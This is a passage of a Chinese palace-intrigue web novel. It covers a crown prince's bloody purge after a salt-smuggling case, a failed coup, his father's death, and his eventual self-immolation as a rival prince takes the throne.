与此同时,师离忱甩了甩剑刃上的血,听到地牢入口又一阵喧闹,一批身着官服的官兵冲了进来,还有另一批一身黑衣人,他们以极快的速度在拥堵在道上的两拨人马中间,杀出了一条道。 瞧见熟悉的身影,师离忱心下一松。 “殿下!”乐福安甩出披风,将师离忱从头罩下,将人护在身后,道:“此处人多杂乱,快先走。” 这地牢里,少说有五波人马。 师离忱颔首,不做多问。一道黑影与他擦肩而过,他瞥眸瞧了眼,腰间别着秋氏家徽的纹样,是刚刚与府衙一同冲进来的那些黑衣人。 “听闻他们也是来救人。”乐福安百忙中注意到,提了一嘴,“方才闹起来时,这些人忽地就在府邸中钻出来,想来是些暗卫。” 师离忱“嗯”了一声,继续往前走。 “咔。” 暗卫还没来得及开锁,最后一件牢房门锁链已被从中扯断。 暗卫愣了愣,他识相的让开位置,抬头小心观察,只见处于阴影中的主子缓缓走出,嘴角拉平,神色冷沉地看向道路另一端的尽头,似乎心情极差。 暗卫随着视线看去。 只见一抹暗红袍角在拐角处消失。方才错身而过时,他曾匆忙地瞥了一眼,那是府衙要救的人。 他道:“家主,需要将人带回来吗?” 良久。 只听上首传来:“……不必。”停了一瞬,裴苍重重哼了声,阴恻恻地道:“真是没良心,连个头也不回。” 明明语气阴鸷,却仿佛带着一股子怨气。 暗卫不敢多言,只道:“家主,按您吩咐江南秋家已全盘接手,江南据点叛徒是杀是留?” “丢给府衙的人处理。”裴苍冷道:“将收集好的证据抄送一份给江南府衙。秋氏全部撤离江南,只留暗桩。” * 临安府衙的官兵最先到,后头来的是值守城外的军队,兵马一到,场面很快就被镇压,梳理乱象,直至夜半才逐渐消停。 次日天光大白。 早就听到风声的百姓纷纷围观,一个又一个抹着眼泪妆点华贵的女子从府邸中被救出来,围观众人还不明所以。 直到人群中发出一声惊叫:“三丫头!你不是死了吗?!” 一汉子走出,抓住了其中一名女子,似是贵女一样的女子却眼神闪躲,不敢直面汉子的目光。 有人问:“怎么回事?” 汉子道:“这是我侄女!前年进城买米,一直没回家,后来有人说是落水死了,连尸首都没捞上来!我家那头还给她立了坟头!她娘因为这事,年前郁郁寡欢病死了!你怎么在这儿?!” 汉子越说情绪越激动,尤其是看女子一身华服从府里出来,顿时脑中飘过七八个猜想。 直到官兵贴出告示。 此案昭破,女子失踪案,意外死亡案,皆因此而起。与秋家富商有牵连的官员在当夜被揪出,午时送上断头台当街斩首。 临安一片哗然。 …… 此时此刻。 师离忱洗漱结束,换了一身衣裳,坐在榻前。他已安全出现在临安,只要大皇兄脑子没问题,就不会在妄动。 所以他昨夜出了地牢,便给在淮南拖延的许惟一去信,把人叫来临安。 盐引案已经扯出了线索苗头,自然是要彻查。 乐福安双目紧闭着,正躺在榻上。左宿把脉:“他这药下得太猛,身子损伤的太重,得好好修养三个月,往后三个月切勿再让他动用内力了。” 师离忱“嗯”了声,抿唇仔细端详着乐福安。福安眼睛有细纹了,脸皮也松垮了不少,鬓边生了许多白发,比起儿时苍老了不少…… 左宿收着金针,头也不抬道:“你家这奴才忠心的很,嘴上说着自己不是神,不能靠味闻到你在哪儿。结果他不知道从哪儿弄来两条蛇,先让蛇闻了味,跟着蛇走了一道,到了个水沟,顺着水沟,找到了秋家府邸的后厨外。真是厉害!” 左宿惊叹,好似还没从震撼中回过味来。 师离忱:“是啊,福安很厉害,什么都会。”他叹道,“又怎会不厉害。”这可是皇家死士里厮杀出来的。 当世第一。 …… ………… 这时,门外有人报:“殿下,临安州府求见。” 左宿道:“……我回避?” 对于这个剿匪半道上遇见,对他与福安相助良多的正义道士,师离忱很有耐心温声道:“如今事情了结差不多,你所求的黄金,孤稍后命人给你送去。” 左宿笑眯眯道:“那就多谢殿下。不过不急,您万一还用得上我呢,我多住两天哈。” 师离忱摆摆手随他去。 左宿哼着歌出屋,临安州府进屋。 临安州府俯首,将密信送至师离忱面前:“殿下请过目,这是昨夜被送到下官案前的信,下官不敢轻举妄动,还望殿下裁决。” 师离忱拿过。 信封上只简洁地写了两个字——罪证。 他眯了眯眼,打开拿出,随手翻看。 炉香缓缓,屋中微有纸张轻微翻动的声响。师离忱越瞧眼底的冷色越重,陡然起身道:“来人!召兵!速去淮南接应钦差!” 第107章 盐案牵扯诸多。 秋家富商被查抄,与富商有勾结的官员也被抓起了一批。 剩下尚且未被查到的自感岌岌可危。太子莅临,钦差彻查,怎么躲?怎么逃?他们只能慌里慌张地向皇城里的王爵求救。 * 云层渐厚,压下夜幕。 雷鸣轰闪。 唰然降下雨幕,亭台楼阁错落,流水烟雨,本该是江南最美的景。 师离忱站在长廊下,天空闪过一道雷光,将他身影照出,劈映到廊墙上。同样被映到墙上的影子,还有他低垂的眼眸中,倒映出来的血影。 被抬回来,冷冰冰地躺在那儿,唇无血色,蹲下身探了探,脉搏也不跳了。 几个将领,以及临安州府跪在一旁,战战兢兢道:“下官命人去接应时,钦差大人已胜负重伤,伤位致命,纵使医官竭尽全力,也无力回天……” 师离忱一语不发,抬手盖住了许惟一的脸。 陡然发笑。 笑声低低,在这阵阵风雨中格外惊悚,笑了良久乍地停下。他抬头,脸上没有表情,眼底竟是森森漫出的疯狂。 师离忱道:“孤一直觉得,以仁治下是上上策,却忘了仁慈只会叫人得寸进尺。没关系,孤知道了。” 他指腹一点点擦去许惟一脸上的血水雨水,幽幽道:“你且先走,孤马上让他们给你陪葬!” 话音落下。 寒光一闪而过,临安州府倏然瞪大了眼,他张大嘴看着站起身的太子殿下,殿下手里握着的匕首垂在身侧,刀刃上显出一丝血线。 意识到什么,他捂着脖子,发出两声“嗬嗬”气音,眼睛渐渐失去光色,便轰然倒下。 盐案早在江南泛滥多年,身为州府怎可能一尘不染,后院收束着满满的奇珍,堂前摆着千金玉雕。 正因知晓事情严重,州府府衙配合无比,配合着抓了秋家行商,抄了据点,以行动极力撇清嫌疑。 师离忱当然相信,临安州府想办好差事,安安全全地接到许惟一……可他手底下那些人未必。牛鬼蛇神只会害怕钦差的到来,让局面变得更加被动。 就该把所有人清洗干净,把所有掌握在手里。 是他的错。 都是他的错。 “这是第一个,你收好。”师离忱平静道。 …… ………… 江南盐案证据确凿,所有证据,以及勾结的官员名册,处理结果,以极快地上呈至朝堂之上。 可朝中却因此爆发激烈的争吵。 江南大小书吏主簿四十余名,淮南领兵副将及所牵连的两千余名将士,全部被判决斩首。 行刑地在临安闹市,听闻斩了整整五日,刽子手轮班换人,不间断地杀,血流满地,在水沟里汇聚成一条血流,场面骇人。 由太子亲自监刑。 御史台认为太子殿下行事太过极端,纵使有罪责也要先行审问再做决断,怎能行事如此狠绝。 一部分则认为太子殿下做得正确,敢杀钦差刺杀太子,就该就地格杀。 直到皇帝一声令下,才结束了这顿吵闹,到最后也没吵出个结果,只因这江南几个案子牵连到了京中的恬亲王……那是异性王。 是当年与高祖帝一同四处闯天下的老将之一,是高祖帝的拜把兄弟,就连皇帝见了也得尊称一声皇叔。 故此,下朝之时皇帝脸色都是阴沉的。 或许是没想到太子行事会如此放纵,也或许是在思考恬亲王为何如此胆大包天,竟能牵连其中。 大监道:“陛下,恬亲王上折入宫请罪。” 师明渊道:“不见。下令恬亲王禁足府中,待一切查明再议。”他蹙眉,隐隐有种失控感。 莫非是磨得太狠了?御史台那帮老家伙定会咬着不放,不会善罢甘休,此时还有得闹。 师明渊万万没想到。 局面还能变得更乱一些。 半月后,太子归京,撞上本该禁足在府邸的恬亲王,与众目睽睽之下,当街斩下对方头颅,还提着脑袋血淋淋地走了一路,丢给了条狗。 放言:“高祖在世,必见不得此等为虎作伥之人!” 朝中顿时疯了一般上言,请求陛下废除太子,称太子暴戾,不堪为君,为天下之表率,怎能忘却前恩,行径狂悖! 而百姓呼声却是纷纷叫好。 深受压迫之人,才明白压迫自己的人究竟是谁。江南呈上万民血书,字字书写太子功德。 朝廷废太子与保太子两方争执不下,师明渊头疼非常,暂且下令太子幽禁东宫,修身养性。 * 焦心的何止皇帝一人。 大皇子在府中走来走去,咬牙道:“都做到这一步了,也不废太子……那小子都疯成这样了!恬亲王都敢当街杀!” “啪!”他气得连砸了好几个茶盏,呼出一口气。 愤怒宣泄完了,他随即心中升起一股后怕,背后一阵阵的发凉,盯着远方出神,他眼中眸光明明灭灭,纳纳道:“不行……不能继续等了……” 江南几个案子虽未将他牵扯出来,可难保事后不会彻查,这回没能让父皇废太子再往后只会更难。 必须早下决断。 末了。 大皇子猛地站起,冷道:“天气见寒,该进宫看看母后了。” * 东宫很安静。 师离忱在誊抄经书,一笔一划。 柳清宁在旁研磨,直到师离忱又一页纸抄完,他收走,听殿下道:“用过午膳,你便出宫吧。” 柳清宁动作一顿,轻声道:“殿下的意思是……” 师离忱抬也未抬:“离开东宫。好好待在翰林院,日后与人谈说说,勿要再提孤一个字。” 空气沉寂一瞬。柳清宁侧目看着师离忱半响,语气艰难地问道:“殿下是在赶我走吗?” 师离忱道:“不。你在翰林院,能帮孤更多。” 柳清宁松下一口气,闭目道:“是,殿下。” …… 柳清宁离开前,师离忱唤道:“等等,把剑带上。” 乐福安送过来一把镶刻着宝石的宝剑。师离忱平静道:“去淮南的路上他就嘀咕着要送你把绝世好剑,那傻子死的时候还随身带着这把剑,你拿走吧。” “……”柳清宁不言不语,垂首鞠了一躬,接过了那把灿灿宝剑,沉默地离开了东宫。 与那把宝剑一样镶着漂亮鲜红宝石的,还有一把匕首,正摆在师离忱的案上,在誊抄的经书旁。 经书上的字,刺得人眼生疼。 师离忱眼前仿佛看到了靠在船头张扬五爪的青年,喜滋滋地抓着一把剑一把匕首在阳光下炫耀—— “殿下平日就爱耍弄暗器弩箭,宝剑配殿下反而是累赘,我特地给殿下寻来这匕首,怎么样?漂亮吧!这刀柄上的可是鸽子红!至于京都那个书呆子,我给他买了把剑,又漂亮又轻便,名家所造,还有字!可值钱呢!免得他老说我欠他银子,哼,就勉强送给他防身用吧!” 乐福安默默上了一盏茶,拨了拨殿中炉子里的香,回首看了看沉默不言的太子殿下,叹了叹,缓缓退出殿外。 …… 幽禁东宫实际上并未削减什么,一切如常。纯妃得知师离忱去过江南后,也来东宫寻过两回,小心翼翼地问她什么时候能出宫看看。 这个问题,从师离忱被册封为太子开始就一直陆续的询问,师离忱总会答:快了,就快了。 这次是真的快了。 平静的日子没过几日。 朝堂纷乱,各种事情堆积之下,大皇子……逼宫了。 当夜宫门大开,防城营的兵马自朱雀门一路厮杀进来,与禁军缠斗,一时间众人四处奔逃,尖叫,恐惧,求饶,不绝于耳。 但那只限于朱雀门那头,暂且未牵连到东宫这头。 而东宫周围有专属的禁卫把手,前两年的武状元秦易镇守门前,逼宫者的目的是皇位,自然要先杀进金銮殿,离这里还远。 比逼宫先来的,是纯妃命人送来的一碗莲子汤。师离忱看了半响,唤道:“……福安。” 乐福安道:“老奴在。” 师离忱道:“时候到了,送她出宫吧。趁乱假死,便不会再有人追究她的下落了。” 乐福安应了声,立即去办。 …… 出了东宫,去千秋殿接应纯妃,纯妃早早收到宫人传递的消息,站在那儿等待,急得来回踱步。 乐福安心中不虞,面上不显,只毕恭毕敬垂首道:“娘娘随我来。大皇子逼宫,宫中如今杂乱,无人估计您的踪迹,但您切莫与奴才走丢了。” 纯妃连连点头,快步跟上乐福安的脚步。 旁边陆续有宫人疾走过去,也有的是快速地跑,害怕慌张地情绪似乎蔓延在每个人心里。 纯妃紧张地捏了捏衣襟,问道:“……阿忱。”顿了顿,她道:“阿忱,可还好?” 临到出宫了才知道关心殿下。乐福安打心底里翻了个白眼,耐着性子道:“殿下安康,只是此行下江南伤到了腿,恐怕还要修养一段时日。” 他们走的是一条偏道,刻意避开有动乱的那条道。 这儿平日就冷僻的紧,如今内庭动乱更是无人多顾,稍后纯妃从这儿偷偷出宫,他再把那具易容成纯妃模样的女尸送过来,哪怕后头宫闱大乱结束后,也不会有人查到什么踪迹。 忽地听到墙头两声鸟叫。 乐福安停下脚步,伸手接住了从暗中打来的一纸飞信。 小巧地密信展开,上下仔细看了眼,乐福安眼神逐渐变得森冷,低着头,嘴角拉平阴阴沉沉。 此时,纯妃探头,紧张道:“怎么停下了……” 乐福安深吸一气,转身时硬生生扯出一抹笑:“娘娘,刚得了消息,这条路走不得了,您得和奴才去观星台那头,有人在那头接应您出宫。” 纯妃不疑有他,“那快些走。” * 金銮殿。 大皇子被缉拿,防城营兵马才至金銮殿,便被蛰伏此处的禁军扫荡干净。 镇国侯穆将军压着大皇子跪至帝王脚下,道:“臣倏忽,叫人偷换走了防城营军令,犯下如此滔天大罪,还望陛下宽宥!” 见大势已去,大皇子恨恨地瞪向皇位上坐着的师明渊,声音像厉鬼般吼道:“是你!都是你!” 难怪那么容易就通了朱雀门,杀到金銮殿前。若非有人刻意放饵…… 师明渊道:“那是你蠢,废物。”他审视着这个大儿子,眼神冰冷:“没有一件事能办成。” 大皇子愣了愣。 忽地,他想起几年前,十一皇子夭折一事。当时他买通的小太监明明和他说成事难,还需多加等待。 可隔日就听到十一皇子落水的消息。 他以为是他买通之人办成了差事,高兴地赏了许多银两。但细细想来,那小太监虽笑得谄媚,可那笑里似乎还有些难言之隐。 没过多久,正当他打算斩草除根时,再去寻,便听说那小太监吃醉了酒,半夜掉井里淹死了…… 大皇子颤着手,指向师明渊:“是你……原来,是你杀,是你杀!呃——” 他话头一截,缓缓低头,看到一柄剑从他后方直直穿透了他的心口。再抬头,眼中倒映出上首师明渊收手的姿势。 原来…… “你真的……从来没把我们当你的儿子……” 大皇子倒地,缓缓咽了气。 师明渊面无表情摆手,命人拖下去。 此时,有宫人快速跑来,“不好了陛下。”他道:“太子殿下喝了纯妃娘娘送去的莲子汤,汤中有毒。太医令说此毒阴邪,足以害命,但幸而计量不大,已稳住了殿**内毒性,只是点下眼下已昏迷不醒!奴才们去找纯妃娘娘,却发现纯妃娘娘一个时辰前便不见了踪影。” 师明渊猛地起身,“什么?那还不去找!” “……大事不好!陛下!大事不好!”大监一路跑进来,绊了一脚摔趴在殿前,来不及站起来,惶恐道:“纯妃娘娘,纯妃娘娘坠亡了!” 师明渊脚下虚浮一瞬,扶住了龙椅,控制着神情尽量不那么狰狞道:“你说,什么?给朕再说一遍?” 大监比所有人都要明白纯妃娘娘对于陛下的含义,却也不敢欺瞒,闭上眼咬牙重复道:“奴才亲自去确认了,纯妃娘娘的确是从台上摔下来,坠亡与观星台前……已断了脉搏。人已经抬过来了。” 两名禁军抬着一个担架进殿,落入视线的一瞬间。 “噗——” 师明渊硬生生呕出一口血,捂着心口倒了下去。 * 烛光昏黄。 师离忱睁眼时,看到俯在床榻前,面上被烛光照成暖色的乐福安。 乐福安神态有些疲累,可在见到师离忱醒来的一瞬间,神色顿时激动起来,对着殿外喊:“太医令!太医令!快,殿下醒了,快来瞧瞧!” 师离忱眨了下眼,只觉浑身软得不像话,躺在床上似一滩水。他长睫颤了颤,视线落到更远一些的地方,指尖动了动,手腕抬起来却重重砸下。 “殿下!”乐福安急忙按住,对上师离忱平淡无波地视线后,他喉头滚了滚,闭了闭眼声音沉重道:“您刚失了内力,毒性尚未除完,切莫乱动。” 难怪。 一点劲也使不上。师离忱眨了眨眼表示明白了,平静的接受了一切,没有什么情绪地“喔”了一声。 太医令道:“殿**内毒素几乎被拔除,有些余毒顺着经脉退到殿下腿间的伤处去了,多喝几服药再施针应当能清得差不多。但恐会留下旧疾,需多注意保暖。” 师离忱躺着双目阖上,一言不发,对自个身体似乎浑不在意。 乐福安心疼,把殿下的手塞回锦被,送走太医令又回来继续守着。寂静中,师离忱道:“母妃出宫了吗?” “……”乐福安抿了抿唇,道:“奴才没用,没看住纯妃娘娘,她从观星台上坠亡了。” 师离忱“喔”了一声。 良久。 乐福安听到榻上传来声音,“你说,母妃为何要给孤下毒。你说,她的性子,能做出这样的事吗?” 乐福安低眼道:“或许。这些年纯妃娘娘被困在宫中,几乎是要疯了,最近两年尤其魔怔,被人蛊惑两句也是有可能。” 这宫中,又是谁最恨太子?师离忱想了想,倏地笑了一声,倍感没劲地瘫在被褥间,睁开眼看着帐顶,喃喃道:“……真是没意思。” 好没意思。 …… 大皇子叛乱宫闱,纯妃坠亡,帝大悲吐血病重。太子苏醒后未得片刻喘息,便要坐上轮椅去处理政务。 太师太傅一力相助。 而皇帝虽病,却并非全然没了意识,批过的折子还是要过圣上的目。只不过皇帝病得太厉害,需皇后从旁相辅,替他念折子。 一时间局面既平衡,又混沌。 或许得到月商皇宫生了乱象的消息,南晋忽然大举进攻边疆,先是几番试探,随后猛地发力,似乎此次定要杀进京都才肯罢休。 朝中吵闹了几回,最终镇国侯请缨,重披战甲,再去边疆。这一来朝中再无争论只声,所有人都满意了。 请缨折子递到师明渊跟前时,师明渊盯着看了许久,轻飘飘道:“好啊,那就让他去。” 一锤定音。 镇国侯领命,即刻启程前往边关。 …… 这一战打了很久。 从秋叶飘落打到了春草发芽,又打到寒风积雪。 打到师离忱腿上的毒都被拔了个干净,打到皇后渐渐渗入朝政。 打到师明渊的身体一日不如一日,权柄几乎已经全部落在了师离忱手上。打到边关传来的消息逐渐变好,开始反击,又陷入僵持。 似乎没有人是好过的。 师离忱捣鼓手上的九连环,宽袖往下滑了滑,露出伶仃细白的手腕,乐福安紧俏道:“哎!殿下!”一把又给捂了回去。 师离忱道:“冻不死孤。” 乐福安赔笑:“那殿下也要爱惜身子。昨日奴才在您榻上又搜到三四把暗器,您总把刀片往榻上放,万一割伤自个怎么办?奴才会伤心的。” 师离忱幽幽一叹,笑骂:“孤又不是蠢货,再说也不疼。”或者说,疼一会儿也挺好。 身上疼了,似乎就能感觉到自己好像还活着。 乐福安心头刺了刺。 本该这样持续下去的日子,终得打破。 许是边关大捷给了师明渊一丝危机,师离忱整理奏疏时,偶然在御书房发现了一个秘格,上面盖着玉玺。 师离忱一顿,随后拆开。览过后,他静静地将信烧了,淡淡命道:“去唤秦易来。” …… 陛下病情倏然加重,已到了昏昏沉沉的地步,太子大为悲痛,于金銮殿前侍疾,聊表孝心,禁军把手严密,任谁也无法靠近。 …… ………… 夜幕渐深。 师明渊病恹恹地躺在榻上,呼道:“水……来人,给朕倒水。”一杯水从嘴边喂了进去。 曾经带来无限威严,压迫的皇帝,病了多年,如今也不过一副憔悴病态,甚至于眼睛都是浑浊昏暗的。他抬眼看人时还眯着眼辨认了会儿,才道:“……是阿忱啊。” 师离忱道:“父皇,错了。是太子。” “喔,太子。”师明渊躺回了榻上,呼吸似乎都有些费力,重重地唤了两口气被呛得咳嗽,笑道:“太子,太子来做什么?” 师离忱站在榻前,神色不明道:“来恭送父皇殡天。” 一碗药被送到他手上。师明渊眸中没有恐惧,反倒哈哈大笑起来,越笑越厉害,喃喃自语道:“朕早说过,权是个好东西……你看朕的太子养得多好,可比我当年要厉害多了。和高祖多相像啊,当年朕的父皇说朕一无是处,没一点和他相似。可父皇你看啊,朕的儿子,和你性情像了八分……他一定能如你一般,让月商繁荣,护江山永固……” 他嘀嘀咕咕的说了一堆,又开始像交代后事般道:“记得把朕和你母妃合葬,她其实心里头有朕,只是过不了自己那关。喔还有兵权,罢了朕不说你也一定会握在手里,你是朕一手培养出来的,朕比你还要明白你自己……” 气息虚弱,可话说得倒是常。师离忱面无表情地端着药汁过来,轻声细语地打断了他:“好了。父皇。” 他俯身,看着这个早就存了死志,这个一手推动着自身死亡时间的帝王,重复地道:“你该殡天了。” 第108章 皇帝薨逝,举国哀悼。 新帝继位登基,连发十二条敕令,向大举反扑南晋。自此粮草再无拖延之象,一切军需方方面面俱全。 登基中含新帝春狩仪式,新帝在林间偶得一幼虎,似被母虎弃养,身上胎衣尚未干透,呼声微弱可怜。 新帝怜之,将其带回宫中饲养。新君多疾,难以支撑早朝,太后在御史台的推举之下,垂帘听政。 转眼便过了半年。 边关大捷,南晋被击退,为求示好送来一名皇子为质。 正是夏秋交替之际,风拂暖人。 师离忱平躺观星台之上,两条腿从围栏空隙伸出去,腿弯卡在边缘,赤足在半空中一晃一悠,曳长的玄袍也在半空跟着晃,擦着足踝来回飘。 “不见。”他眯着眼,听说南晋质子求见,想也不想地回绝。小汤圆在他身边打滚,拿他的手腕当磨牙棒,轻轻咬一咬,然后又讨好的舔舔,扭着身子后腿踢上来蹬了蹬。 “刺啦——” 后腿爪子蹬坏了师离忱的衣袖。师离忱发出一声疑惑的“嗯?”,扭头看来。小汤圆立刻露出飞机耳,猛地站起来甩甩头,然后便若无其事的走到更远一点的地方侧躺趴下,露出舌头傻兮兮地看着师离忱卖萌。 师离忱哼了声,又睡了回去,两手张开。乐福安道:“南晋送来这位似是弃子,听闻自幼便被放逐在南晋边关,恐有诈。” 师离忱道:“有诈又如何,左右不会再坏到哪里去。”乐福安叹道:“圣上……奴才如今也看不懂您想做什么了。” 放纵太后垂帘,任由穆家声势壮大,前些日子圣上又同意了太师请辞,等同自断一臂。乐福安真的不明白。 天很蓝,只是光刺眼。师离忱忍不住抬手,用五指挡光,那丝丝的线还是透过指缝露了过来。 他笑吟吟道:“做什么?不,不做什么。什么都不做。福安,你说这江山天下那么好,可争来争去不都是权贵所求?百姓所求不过一个安居乐业,平稳一生。月商立国未除世家,只此三代便烂透了底,不如一把火烧了它……” 乐福安隐隐看到来自于师离忱身上的自毁倾向,忍不住骇然打断:“圣上!” 他调整了一番心绪,上前给师离忱盖了一条薄薄的毯子,语气放缓道:“别冻着。” “……” 师离忱对上乐福安担忧的眼神,默了默,闭上了眼。 观星台又恢复了安静,小汤圆滴溜溜的转着眼睛,将脑袋拱到师离忱手心下,买了个乖。 …… ………… 观星台下。 一人被禁军围困着,等候在楼外。 远远的,裴郁璟就瞧见那高台之上,挂在外头晃荡的两条腿,一双赤足在裾摆下若隐若现,白得晃眼,随着风吹起来,还能若有若无地窥探到一截修长冷白的小腿。 不等看清,有人站在石阶上冷冷道:“圣上不见他,便恭送这位南晋七殿下出宫吧。” “……” 裴郁璟眸子转了转,视线掠过石阶上的乐福安,收回了目光。 * 事情的发展很顺畅,一切部署顺利。 他和新帝就像两条永远不会相交的平行线,他在宫外,新君在宫内,月商朝政似乎都被太后把持,新君又不爱露面,他们没有再见面的机会。 但在京都呆的越近,便越能察觉到‘太后垂帘’一事的水分,因为裴郁璟能感受到来自新君的恶意。 某些难以查证的阻碍,或者说看似平常却能造成损失的意外,总是精准而刻意的出现。 他与新君似乎在进行一场隔空对弈。 以各地州府为局。 以人为本。 被切断的行商路线,被斩断的消息进展,被关押的秘密线人……让他为此繁忙不已,只能隐藏身份四处奔走。 在这路上,偶然遇见的人,好像也不偶然。比如月商那位不得志仕的探花郎卫珩一,再比如一名被追杀多年被顶替名次的状元。 一双无形大手,推动了所有发生。 既非坏事,裴郁璟自然不曾推拒有人替他办事。 但他不明白这位月商新君,是打算拿他和穆家太后打擂台?能规划出这等谋略的君王,会被一个太后掣肘?裴郁璟不信。他想起多年前,地牢里曾惊鸿一瞥的,绽放开的,鲜红的山茶花。 这朵山茶花既刁难他,却又推动他往前走。 真叫人不好琢磨。 想着想着,他忽然笑了。 怎么会有这种人呢! 似乎吃透他的心思,算得那么干净,算得分毫不差,总是那么恰到好处的出现在中间,刺他一刺……将他当成棋子,捏在盘上,揉搓圆扁,被动承受。 他越来越好奇,新帝是什么样了。 …… 但未来得及。 大费周章的救出沈绍后,裴郁璟与其交谈了一番,只因刚进京都之时,曾有谋士提议,将士兵扮做行商之人,待鞑靼进犯时,一举扰乱天下。 开始他自然是心动,他不关心到底花落谁家,到底是谁坐拥天下,他就是想乱了这朝纲。 可随着在月商的时间越久,处理的事越多,越细,和那朵恶意满满的山茶花对弈越久……他的想法初衷与当初不同了,但他不知该如何破了这局。 于是救出沈绍后,他第一时间,向这位恩师寻求解惑。 沈绍道:“那是因为你体会到了民之艰辛,苦难。你现在想要的——是安定,太平。” 一语惊醒梦中人。 安定,太平。 他好像摸到了那朵山茶花的一点心思,龙椅上的新君似乎要的也是这个“定太平”。 裴郁璟纳纳道:“所以藏兵于民,是对百姓不利。日后若有祸患,商人,百姓,会被受牵连,怀疑,成为被开刀的第一个亡魂。” “绝不可出现白衣渡江之景。” 与此同时。 烛火卷逝着纸角,在师离忱的目光中一点一点向上攀爬。 静谧间,他的声音与远隔千里之外的裴郁璟似有重叠,“诡计诡道可存,却不可太过阴险留有后患。让寻常百姓的生存空间压缩,并非君子/帝王所为。” 第109章 时光一日一日划过。 自从沈绍被救出后,裴郁璟能察觉到那丝丝缕缕围绕在身边紧缠着的牵绊渐弱。 不再那么刻薄,尖酸的发出针对。 倒没消失,只是不再那样蛮横,霸道地推着他前行。更似化作一条潺潺流水,包容,柔和的引导。 随着局势逐渐紧张,就连最后的这些压迫都散去,那双把他当棋子搓圆捏瘪的大手终是收去。 事情结束于冬日过半时。 南晋内乱露出端倪,月商根基显弱,鞑靼找到时机大肆进犯,兵戈混战,终是天下大乱。 是时候了。 师离忱松开了风筝线,纸鸢飘向天际,随着风雪远去,“人都撤离了吗。”他轻声道。 “谨遵圣上旨意,守在质子府外的死士已调开。今日还有秦将军飞来的密信,说已在南晋混得一席之地,只是不知圣上究竟是何用意……”乐福安声音减弱。 师离忱看着隐入云端的纸鸢,眨了眨眼道:“最后给他送一封秘旨,日后跟着南晋新君吧。该断的线都断了。” 乐福安唇线压平,吸吸鼻子道:“奴才明白了。” “……” 沉默须臾。 师离忱忽地道:“走,今日他应该要出城,朕去送送。” …… 南晋内斗已呈两败俱伤之势,此刻回南晋便是坐收渔翁之利的最好时机。 当质子府周围的死士撤去后,裴郁璟便明白,月商皇帝默许他离去,不必再大费周章的逃。 裴郁璟只在府中犹豫片刻,便立刻收拾启程。 顾不得去细究月商帝究竟是何心思,就算这和先前一样是陷阱,他也管不了那么多。 大不了杀出去。 可这回出奇的顺利。 …… 出京都城后,纵马走了有一段,裴郁璟忽有所感,回首眺眸,瞥见城楼上一抹赤玄身影。 背风而立,浓发被风吹撒,拂过雪花容色,单薄的身子立在那里,撑起了一纸油伞。 大雪扑朔,虽朦胧却得以窥得半扇惊鸿雾面。 不禁让他记起,曾看过的名仕大作——雪景美人画。 那画,不及此刻万分之一。 他认出城楼上的是谁,有一头标致浓长的卷发,又这般贵气的,唯有月商帝。 可惜太远,没能看清整张脸的样貌。 他想。 小皇帝如此戏耍于他,待他来日杀回,定要把他囚于笼中,上上下下仔仔细细看个够。 他要告诉这朵冰冷鲜红的山茶花。 他也有脾气。 * “回吧。”师离忱撑伞走下台阶,抬手抹去长睫上坠了的几粒雪花,“小汤圆安顿得如何?” 乐福安从旁搀着他,“练得差不多了,小汤圆能自个捕食了,如今厉害的很,禁军已经不敢靠近了。” 小汤圆自小被养在圣上身边,在宫中衣食无忧的饲喂,虽是猛虎,却也并非禁军宫人靠近不得。 可眼下野性被训出来了,也就只有圣上能靠近了,就连乐福安走进小汤圆地盘,都会被龇一龇。 师离忱笑道:“那就好。这样即便是将它放归山林,它也能活下来。白虎本该天生孱弱,但它如今养得比寻常老虎还要大一些,不至于连地盘都圈不着了,过了冬日便将送进深山里头去吧。” 乐福安顿了顿,几次张嘴,最终道:“奴才还以为您驯小汤圆,是想带它一块春狩呢。” 师离忱淡笑道:“朕累了。” …… 南晋内斗止于一个月后,空悬多日的帝位迎来新君,正是被送往月商为质的七皇子,裴郁璟。 南晋新君即位后第一件事,便是整顿朝堂,整召军队,而鞑靼三族其一叛降,向南晋新君发出示好。 一时间风头调转。 鞑靼被平。 这会儿已过了初秋,师离忱正慢悠悠地写着秘旨,安排每一个人该去的去处。 而南晋新君处理了鞑靼后,御驾亲征直破月商边关,一路打入皇城,可谓声势浩大。 冬时已到,是个难得的好天气。 消息传进师离忱耳朵中时,已兵临城下。太后已在一干人等的包围之下,慌乱窜逃。 宫人乱作一团,哭的哭,跑的跑,一时间内庭凌乱非常。比大皇子那天。逼宫还要更加。 风颇刺人。 但没关系。 师离忱眯着眼,赤着足,不急不缓地在观星台上走着,手里拎着一壶酒慢慢倒在每一处,还颇有心情地哼起小调,很开心。 “滋啦啦”酒水浇在台阶上,浇在沉香木调的地面上,“哗啦”泼在柱子上,门沿上,窗柩上…… 宽袖中他纤细苍白的手腕露出,擒着烛台,火舌翻卷上沁着酒味的纱幔。‘噌’一下火燎漫天,让那冷冷的风,变得温暖。 瞧啊,眼睛一张一阖,又是一年冬雪冰封覆盖皇城,他什么也没带来,什么也没带去。 …… 这样混乱的日子。 这样混乱的场面。 又有谁还顾得上走水?仅是平添一层恐慌凌乱之象。 大火烧塌了楼,庞然大物轰然倒塌,直到火焰消散吞灭了所有余灰。正如王朝的覆灭,是另一个王朝的兴起。 乐福安木然着脸,抱着两个小小的瓷坛,悄无声息的离开皇宫。 * 南晋新君披着玄甲坐在石阶上,没人找到月商帝的影子。他确实打下了这片地方但没找到他想找的人。 有宫人被抓来,哭诉着,战战兢兢地诉说出观星台的那场大火。曾有人见月商帝走进去,没从火中走出来。 他死得连根骨头都没留下。 裴郁璟喉咙里像是卡了根刺,吐也吐不出来,咽也咽不下去,说不上是什么感受最后只能憋着一股气让宫人推下。 月商南晋一合,乱象平定。 自此。 天下大一统。 年号乾元。 史称乾元高祖元武大帝。 * 元武大帝登基后,起早贪黑,勤政爱民,不纳后宫,不近色。对旧朝官员并无偏见与贬斥苛待,一视同仁。 身为前朝月商亡帝太子时期的伴读,柳清宁已至内阁,与后一界的探花郎卫珩一同朝为官。 帝王虽一视同仁,却难挡朝中背后言语纷纷。尤其是二人政绩斐然,便更是叫旁人嫉妒眼红。 甚至有人酒后失言,大骂二人是叛国之徒。哪怕事后被惩戒,仍然挡不住流言蜚语和眼神轻蔑。 二人对此充耳不闻,只自顾自做自己的事。 正常上朝,正常点批,正常出策。 只是有时抬起眼,平静的眸中会露出些许锐利锋芒,目视朝中一切的发生,监视着盛世太平。 …… 天下一统后。 